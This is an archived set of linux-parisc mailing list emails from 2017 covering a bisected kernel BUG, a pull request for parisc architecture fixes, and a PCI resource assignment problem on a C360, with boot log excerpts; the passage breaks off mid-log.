the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc 4.13-git, BUG: sleeping function called from invalid
 context at mm/slab.h:416
Date: Tue, 1 Aug 2017 10:52:20 +0300 (EEST)
Lines: 41
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1708011050580.27473@math.ut.ee>
References: <alpine.LRH.2.20.1707292206210.12687@math.ut.ee> <CEB1A532-3AAD-4A4D-9A34-12A2477BE87F@bell.net> <alpine.LRH.2.20.1707300947250.27473@math.ut.ee> <F79536F1-AB2B-435C-A127-A1DFB4AC9CE0@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1501573947 14929 195.159.176.226 (1 Aug 2017 07:52:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 1 Aug 2017 07:52:27 +0000 (UTC)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 01 09:52:23 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dcRyV-0002f6-GS
	for glpp-linux-parisc@m.gmane.org; Tue, 01 Aug 2017 09:52:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751681AbdHAHwZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 1 Aug 2017 03:52:25 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:55338 "EHLO smtp1.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751339AbdHAHwZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 1 Aug 2017 03:52:25 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp1.it.da.ut.ee (Postfix) with ESMTP id DEBDC902C4;
        Tue,  1 Aug 2017 10:52:22 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id CD5BA221735; Tue,  1 Aug 2017 10:52:20 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id E9DA6220A07;
        Tue,  1 Aug 2017 10:52:20 +0300 (EEST)
In-Reply-To: <F79536F1-AB2B-435C-A127-A1DFB4AC9CE0@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27614
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27614>

> Since this code hasn't changed in a long time, it should be possible to bisect problem.

I know the patch works, but out of curiosity I bisected it and found 
that the BUG is brough out with the following commit. Seems to make 
sense.

ma1c3c5eab171590f86edd8d31389d61dd1efe3037 is the first bad commit
commit 1c3c5eab171590f86edd8d31389d61dd1efe3037
Author: Thomas Gleixner <tglx@linutronix.de>
Date:   Tue May 16 20:42:48 2017 +0200

    sched/core: Enable might_sleep() and smp_processor_id() checks early
    
    might_sleep() and smp_processor_id() checks are enabled after the boot
    process is done. That hides bugs in the SMP bringup and driver
    initialization code.
    
    Enable it right when the scheduler starts working, i.e. when init task and
    kthreadd have been created and right before the idle task enables
    preemption.
    
    Tested-by: Mark Rutland <mark.rutland@arm.com>
    Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
    Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org>
    Acked-by: Mark Rutland <mark.rutland@arm.com>
    Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Cc: Linus Torvalds <torvalds@linux-foundation.org>
    Cc: Peter Zijlstra <peterz@infradead.org>
    Cc: Steven Rostedt <rostedt@goodmis.org>
    Link: http://lkml.kernel.org/r/20170516184736.272225698@linutronix.de
    Signed-off-by: Ingo Molnar <mingo@kernel.org>



-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc 4.13-git, BUG: sleeping function called from invalid
 context at mm/slab.h:416
Date: Tue, 01 Aug 2017 07:26:14 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <1501597574.2736.1.camel@HansenPartnership.com>
References: <alpine.LRH.2.20.1707292206210.12687@math.ut.ee>
         <CEB1A532-3AAD-4A4D-9A34-12A2477BE87F@bell.net>
         <alpine.LRH.2.20.1707300947250.27473@math.ut.ee>
         <F79536F1-AB2B-435C-A127-A1DFB4AC9CE0@bell.net>
         <alpine.LRH.2.20.1708011050580.27473@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1501597575 27131 195.159.176.226 (1 Aug 2017 14:26:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 1 Aug 2017 14:26:15 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 01 16:26:11 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dcY7e-00039R-HA
	for glpp-linux-parisc@m.gmane.org; Tue, 01 Aug 2017 16:26:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751685AbdHAO0Q (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 1 Aug 2017 10:26:16 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:54748 "EHLO
        bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1751676AbdHAO0Q (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 1 Aug 2017 10:26:16 -0400
Original-Received: from localhost (localhost [127.0.0.1])
        by bedivere.hansenpartnership.com (Postfix) with ESMTP id BC50B8EE213;
        Tue,  1 Aug 2017 07:26:15 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
        by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
        with ESMTP id 6suggpNlFxYz; Tue,  1 Aug 2017 07:26:15 -0700 (PDT)
Original-Received: from [153.66.254.194] (unknown [50.35.65.221])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 46A558EE0C9;
        Tue,  1 Aug 2017 07:26:15 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
        s=20151216; t=1501597575;
        bh=OyqADxSUHnV9gEbYFCd0f4wHlWnJZLRGoDh/wXNrvfo=;
        h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
        b=xsNmHjq4ixNCVLfUXDY9Iuu73Tc3MEJeUkeFU+wttOahrWEa/UL6Uls71qJzy2X6z
         Og5O+1Mv4wYdgKfVlOulcpEWKjDHmMs0KvdhX4gTYirt/pDe0EGMYrSh8VosYpbxLJ
         85ZN/hN6pJtVuIAAKXsCeNvEpTO5QHxQCicjwy9U=
In-Reply-To: <alpine.LRH.2.20.1708011050580.27473@math.ut.ee>
X-Mailer: Evolution 3.20.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27615
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27615>

On Tue, 2017-08-01 at 10:52 +0300, Meelis Roos wrote:
> > 
> > Since this code hasn't changed in a long time, it should be
> > possible to bisect problem.
> 
> I know the patch works, but out of curiosity I bisected it and found 
> that the BUG is brough out with the following commit. Seems to make 
> sense.

Yes, I guessed it would be something like that.  The bug was actually
always in our code; that commit just causes us to notice it.  Bisect
naturally takes you to that commit rather than the original problem one
(which is way back in history now).

James

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc architecture fixes for v4.13-rc4
Date: Tue, 1 Aug 2017 18:30:53 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <20170801163053.GA1151@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1501605070 26935 195.159.176.226 (1 Aug 2017 16:31:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 1 Aug 2017 16:31:10 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Aug 01 18:31:06 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dca4U-0006bK-84
	for glk-linux-kernel-3@m.gmane.org; Tue, 01 Aug 2017 18:31:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751912AbdHAQbF (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Tue, 1 Aug 2017 12:31:05 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:63112 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751657AbdHAQbE (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 1 Aug 2017 12:31:04 -0400
Original-Received: from p100.box ([193.159.18.168]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MdK8t-1dv4nD1gAt-00ITDI; Tue, 01
 Aug 2017 18:30:56 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:djk6C5ntVeAgmFDfuOsBe6FuYK7yMTUSmBi72EPocB+ozolIWI1
 gRi/iXM7CDFJM8Sqx8b19jHhMIUZzVWJU0oz7H0q8LMeo/eum1HV0YCChcgIuOY/lNQlPh5
 wWNL9NDUKRmYbghzBNBaw1U+cO3ZV4cK0WHtgwvXVoSb/5NZ+B/ghe/SpJ+cOPG1EObSdiN
 ejLHts0y282Azb65Qt2vQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:uB0eJHxkfhg=:ayPHCprjXFtFy3nXt3toGT
 vC/5OOXm8ii4ln0Eg0sfVtHi4lbf7P31roQmTt2qmkMo2zwGXlPPY3kLniFHRnlNP03oHS1Q/
 HyzkEnFHxBJt9U2cTnOpw1ZC5u12B1awy4wC8PBalExbKuIuiV3cYCaI79DfKarspiQvul3Jn
 mcuKJMdDX12GJwRCTbHjO6W20ygjR9dOUGa5ZmLwWGTe6XS2S3SuepQE2Lx3Jn1FODXg8zG4g
 rik54HI3tgIm+9gDDgxLnxSvS4wQFBZhEaOBjBKp8zQIeGPjjH9MUEzkwZHnLH1T7VpYM/HrX
 Qqo1SsvNWN4HS1fb75RXx8X+XIP48tcboqNauicMf1UG1LyJV4A9Z79TN7e3gAInMA/zghQ8t
 QurYM80vPW0p2dNyph7TSIrzEkEXUeFldHDxX7+uxWD+/nKZeiRcnZ0BDCjXkpjcdEMnVzTpq
 IVpQFdDooau0dv+mQOZqlc579lWcazmXwZdl5eV+uCkZjOAtvTEapvgS5mjoU2dcnUU54j30T
 CyQsUXKnxTI6Dag4JYsDIpV8KMWU03qj0WCYQ64SBxLUv82AbKHCf87ZGzeWYZRSQs3I/Ge44
 hRENyZX6qpV96UBp4V+phdXJ1rKGqpSQw8FqHPrStcBH+u3VqkyyTcy3ccCiHcMJp2ouVFT84
 jNTupzjF1jjyPtBdEWQm8ivfr/yZRPo+mbsDXCF6G+wioFWCByZUTYlpJIlsbHKSzP7rJzTCE
 eTTkuKLhgCA82u31nGqdtmdeGU33hNHSBYxnJGlUsHEZ7R1goIp7mIaBbUIxJHH/yqe0x73x 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2537833 gmane.linux.ports.parisc:27616
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2537833>

Hi Linus,

please pull four small important fixes for the parisc architecture for 4.13-rc4 from

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.13-4

Changes:
- Our cache flushing code runs into a BUG in case context is not current. Fix
  it by flushing the whole cache in such rare situations (by Dave Anglin).

- Fix a "sleeping function called from invalid context BUG" in our pdc_stable
  driver by rearranging our locks (by James Bottomley)

- The thread and irq stacks require more than 16 KB since kernel 4.11. Increase
  both to 32 KB.

- Define CONFIG_CPU_BIG_ENDIAN unconditionally on parisc to avoid wrong behaviour
  in qrwlock functions (by Babu Moger).

Thanks,
Helge

----------------------------------------------------------------
Babu Moger (1):
      parisc: Define CONFIG_CPU_BIG_ENDIAN

Helge Deller (1):
      parisc: Increase thread and stack size to 32kb

James Bottomley (1):
      parisc: pdc_stable: Fix locking when creating sysfs links

John David Anglin (1):
      parisc: Handle vma's whose context is not current in flush_cache_range

 arch/parisc/Kconfig                   | 3 +++
 arch/parisc/include/asm/thread_info.h | 2 +-
 arch/parisc/kernel/cache.c            | 5 ++---
 arch/parisc/kernel/irq.c              | 2 +-
 drivers/parisc/pdc_stable.c           | 6 +++---
 5 files changed, 10 insertions(+), 8 deletions(-)


From - Thu Nov 08 21:40:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Tom Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: PCI resource problem on C360
Date: Thu, 3 Aug 2017 16:07:17 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <20170803140717.GA7380@alpha.franken.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1501769253 25590 195.159.176.226 (3 Aug 2017 14:07:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 3 Aug 2017 14:07:33 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 03 16:07:24 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ddGmY-00084P-PB
	for glpp-linux-parisc@m.gmane.org; Thu, 03 Aug 2017 16:07:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751144AbdHCOH3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 3 Aug 2017 10:07:29 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:55054 "EHLO elvis.franken.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751131AbdHCOH2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 3 Aug 2017 10:07:28 -0400
Original-Received: from uucp (helo=solo.franken.de)
        by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
        id 1ddGmj-0002k1-00
        for linux-parisc@vger.kernel.org; Thu, 03 Aug 2017 16:07:33 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
        id D63AF50870B; Thu,  3 Aug 2017 16:07:17 +0200 (CEST)
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27617
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27617>

Hi,

while trying to make progress with supporting VGA cards, I stumbled
over following problem on a C360:

pci_bus 0000:00: root bus resource [io  0x0000-0xffff]
pci_bus 0000:00: root bus resource [mem 0xfffffffff2800000-0xfffffffff3ffffff]
pci_bus 0000:00: root bus resource [bus 00-ff]
pci_bus 0000:00: scanning bus
pci 0000:00:03.0: [1002:5654] type 00 class 0x030000
pci 0000:00:03.0: reg 0x10: [mem 0xf3000000-0xf3ffffff]
pci 0000:00:03.0: reg 0x14: [io  0xfd00-0xfdff]
pci 0000:00:03.0: reg 0x30: [mem 0xf2f80000-0xf2f8ffff pref]
pci 0000:00:03.0: calling quirk_no_pm_reset+0x0/0x30
pci 0000:00:13.0: [1000:000f] type 00 class 0x010000
pci 0000:00:13.0: reg 0x10: [io  0xfe00-0xfeff]
pci 0000:00:13.0: reg 0x14: [mem 0xf2ffd000-0xf2ffd0ff]
pci 0000:00:13.0: reg 0x18: [mem 0xf2ffe000-0xf2ffefff]
pci 0000:00:14.0: [1011:0019] type 00 class 0x020000
pci 0000:00:14.0: reg 0x10: [io  0xff00-0xff7f]
pci 0000:00:14.0: reg 0x14: [mem 0xf2fff000-0xf2fff07f]
pci 0000:00:14.0: reg 0x30: [mem 0xf2f80000-0xf2fbffff pref]
pci_bus 0000:00: fixups for bus
pci_bus 0000:00: bus scan returning with max=00
pci_bus 0000:00: busn_res: [bus 00-ff] end is updated to 00
pci 0000:00:03.0: BAR 0: no space for [mem size 0x01000000]
pci 0000:00:03.0: BAR 0: failed to assign [mem size 0x01000000]
pci 0000:00:13.0: BAR 2: no space for [mem size 0x00001000]
pci 0000:00:13.0: BAR 2: failed to assign [mem size 0x00001000]
pci 0000:00:03.0: BAR 1: assigned [io  0x0100-0x01ff]
pci 0000:00:13.0: BAR 0: assigned [io  0x0200-0x02ff]
pci 0000:00:13.0: BAR 1: no space for [mem size 0x00000100]
pci 0000:00:13.0: BAR 1: failed to assign [mem size 0x00000100]
pci 0000:00:14.0: BAR 0: assigned [io  0x0080-0x00ff]
pci 0000:00:14.0: BAR 1: no space for [mem size 0x00000080]
pci 0000:00:14.0: BAR 1: failed to assign [mem size 0x0000008

Is this a known problem ? Source tree is current parisc git.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessarily a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI resource problem on C360
Date: Thu, 3 Aug 2017 11:58:30 -0400
Lines: 102
Approved: news@gmane.org
Message-ID: <89A4641B-DE37-41B1-9F9C-B6312F8F0C84@bell.net>
References: <20170803140717.GA7380@alpha.franken.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1501775914 25277 195.159.176.226 (3 Aug 2017 15:58:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 3 Aug 2017 15:58:34 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Tom Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 03 17:58:29 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ddIW4-0005UX-EY
	for glpp-linux-parisc@m.gmane.org; Thu, 03 Aug 2017 17:58:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751251AbdHCP6e convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 3 Aug 2017 11:58:34 -0400
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:39924 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751158AbdHCP6c (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 3 Aug 2017 11:58:32 -0400
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20170803155831.ROB10471.mtlfep02.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Thu, 3 Aug 2017 11:58:31 -0400
Original-Received: from [192.168.2.25] (really [184.144.120.32])
          by mtlspm01.bell.net with ESMTP
          id <20170803155831.UNEP9294.mtlspm01.bell.net@[192.168.2.25]>;
          Thu, 3 Aug 2017 11:58:31 -0400
In-Reply-To: <20170803140717.GA7380@alpha.franken.de>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=LoB98jVc c=1 sm=0 tr=0 a=pB3QksNGH1A98MjHNgJOQg==:17 a=kj9zAlcOel0A:10 a=KeKAF7QvOSUA:10 a=FBHGMhGWAAAA:8 a=V8puzpboWQGXHO9qHR4A:9 a=5Ie3vATPFaEx6uPB:21 a=eb-jewIn9zKdkuIn:21 a=CjuIK1q_8ugA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27618
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27618>

On 2017-08-03, at 10:07 AM, Tom Bogendoerfer wrote:

> Is this a known problem ? Source tree is current parisc git.

I don't think so.  Doesn't happen on rp3440:

[    1.820224] LBA 0:0: PCI host bridge to bus 0000:00
[    1.820365] pci_bus 0000:00: root bus resource [io  0x0000-0xffff]
[    1.820528] pci_bus 0000:00: root bus resource [mem 0xffffffff80000000-0xffff
ffff8fffffff] (bus address [0x80000000-0x8fffffff])[    1.821090] pci_bus 0000:00: root bus resource [bus 00-07]
[    1.828085] pci 0000:00:01.0: [1033:0035] type 00 class 0x0c0310[    1.828130] pci 0000:00:01.0: reg 0x10: [mem 0xffffffff80002000-0xffffffff800
02fff]
[    1.828267] pci 0000:00:01.0: supports D1 D2
[    1.828273] pci 0000:00:01.0: PME# supported from D0 D1 D2 D3hot
[    1.830081] pci 0000:00:01.1: [1033:0035] type 00 class 0x0c0310[    1.830120] pci 0000:00:01.1: reg 0x10: [mem 0xffffffff80001000-0xffffffff800
01fff][    1.830247] pci 0000:00:01.1: supports D1 D2
[    1.830253] pci 0000:00:01.1: PME# supported from D0 D1 D2 D3hot
[    1.830371] pci 0000:00:01.2: [1033:00e0] type 00 class 0x0c0320
[    1.830409] pci 0000:00:01.2: reg 0x10: [mem 0xffffffff80000000-0xffffffff800000ff]
[    1.830534] pci 0000:00:01.2: supports D1 D2
[    1.830540] pci 0000:00:01.2: PME# supported from D0 D1 D2 D3hot
[    1.830666] pci 0000:00:02.0: [1095:0649] type 00 class 0x01018f
[    1.830703] pci 0000:00:02.0: reg 0x10: [io  0x0d18-0x0d1f]
[    1.830723] pci 0000:00:02.0: reg 0x14: [io  0x0d24-0x0d27]
[    1.830743] pci 0000:00:02.0: reg 0x18: [io  0x0d10-0x0d17]
[    1.830762] pci 0000:00:02.0: reg 0x1c: [io  0x0d20-0x0d23]
[    1.830782] pci 0000:00:02.0: reg 0x20: [io  0x0d00-0x0d0f]
[    1.830855] pci 0000:00:02.0: supports D1 D2
[    1.850047] Mercury version TR3.2 (0x32) found at 0xfffffffffed22000
[    1.910206] LBA 0:1: PCI host bridge to bus 0000:20
[    1.910349] pci_bus 0000:20: root bus resource [io  0x10000-0x1ffff] (bus address [0x0000-0xffff])
[    1.910808] pci_bus 0000:20: root bus resource [mem 0xffffffff90000000-0xffffffff9fffffff] (bus address [0x90000000-0x9fffffff])
[    1.918145] pci_bus 0000:20: root bus resource [bus 20-27]
[    1.918320] pci 0000:20:01.0: [1000:0021] type 00 class 0x010000
[    1.918356] pci 0000:20:01.0: reg 0x10: [io  0x12100-0x121ff]
[    1.918378] pci 0000:20:01.0: reg 0x14: [mem 0xffffffff90015000-0xffffffff900153ff 64bit]
[    1.918400] pci 0000:20:01.0: reg 0x1c: [mem 0xffffffff90012000-0xffffffff90013fff 64bit]
[    1.918464] pci 0000:20:01.0: supports D1 D2
[    1.918595] pci 0000:20:01.1: [1000:0021] type 00 class 0x010000
[    1.918623] pci 0000:20:01.1: reg 0x10: [io  0x12000-0x120ff]
[    1.918645] pci 0000:20:01.1: reg 0x14: [mem 0xffffffff90014000-0xffffffff900143ff 64bit]
[    1.918667] pci 0000:20:01.1: reg 0x1c: [mem 0xffffffff90010000-0xffffffff90011fff 64bit]
[    1.918721] pci 0000:20:01.1: supports D1 D2
[    1.918839] pci 0000:20:02.0: [14e4:1645] type 00 class 0x020000
[    1.918876] pci 0000:20:02.0: reg 0x10: [mem 0xffffffff90000000-0xffffffff9000ffff 64bit]
[    1.918981] pci 0000:20:02.0: PME# supported from D3hot D3cold
[    1.940046] Mercury version TR3.2 (0x32) found at 0xfffffffffed24000
[    1.998842] LBA 0:2: PCI host bridge to bus 0000:40
[    1.998985] pci_bus 0000:40: root bus resource [io  0x20000-0x2ffff] (bus address [0x0000-0xffff])
[    1.999459] pci_bus 0000:40: root bus resource [mem 0xffffffffa0000000-0xffffffffafffffff] (bus address [0xa0000000-0xafffffff])
[    2.000039] pci_bus 0000:40: root bus resource [bus 40-47]
[    2.028845] Mercury version TR3.2 (0x32) found at 0xfffffffffed26000
[    2.080237] LBA 0:3: PCI host bridge to bus 0000:60
[    2.080561] pci_bus 0000:60: root bus resource [io  0x30000-0x3ffff] (bus address [0x0000-0xffff])
[    2.081116] pci_bus 0000:60: root bus resource [mem 0xffffffffb0000000-0xffffffffbfffffff] (bus address [0xb0000000-0xbfffffff])
[    2.090055] pci_bus 0000:60: root bus resource [bus 60-67]
[    2.116809] Mercury version TR3.2 (0x32) found at 0xfffffffffed28000
[    2.150026] LBA: lmmio_space [0xffffffffc0000000-0xffffffffdfffffff] - new
[    2.170228] LBA 0:4: PCI host bridge to bus 0000:80
[    2.170371] pci_bus 0000:80: root bus resource [io  0x40000-0x4ffff] (bus address [0x0000-0xffff])
[    2.170826] pci_bus 0000:80: root bus resource [mem 0xffffffffc0000000-0xffffffffdfffffff] (bus address [0xc0000000-0xdfffffff])
[    2.180021] pci_bus 0000:80: root bus resource [bus 80-87]
[    2.200044] Mercury version TR3.2 (0x32) found at 0xfffffffffed2c000
[    2.260215] LBA 0:6: PCI host bridge to bus 0000:c0
[    2.260357] pci_bus 0000:c0: root bus resource [io  0x50000-0x5ffff] (bus address [0x0000-0xffff])
[    2.260806] pci_bus 0000:c0: root bus resource [mem 0xffffffffe0000000-0xffffffffefffffff] (bus address [0xe0000000-0xefffffff])
[    2.270021] pci_bus 0000:c0: root bus resource [bus c0-c7]
[    2.290047] Mercury version TR3.2 (0x32) found at 0xfffffffffed2e000
[    2.320027] LBA: lmmio_space [0xfffffffff0000000-0xfffffffffe77ffff] - new
[    2.350182] LBA 0:7: PCI host bridge to bus 0000:e0
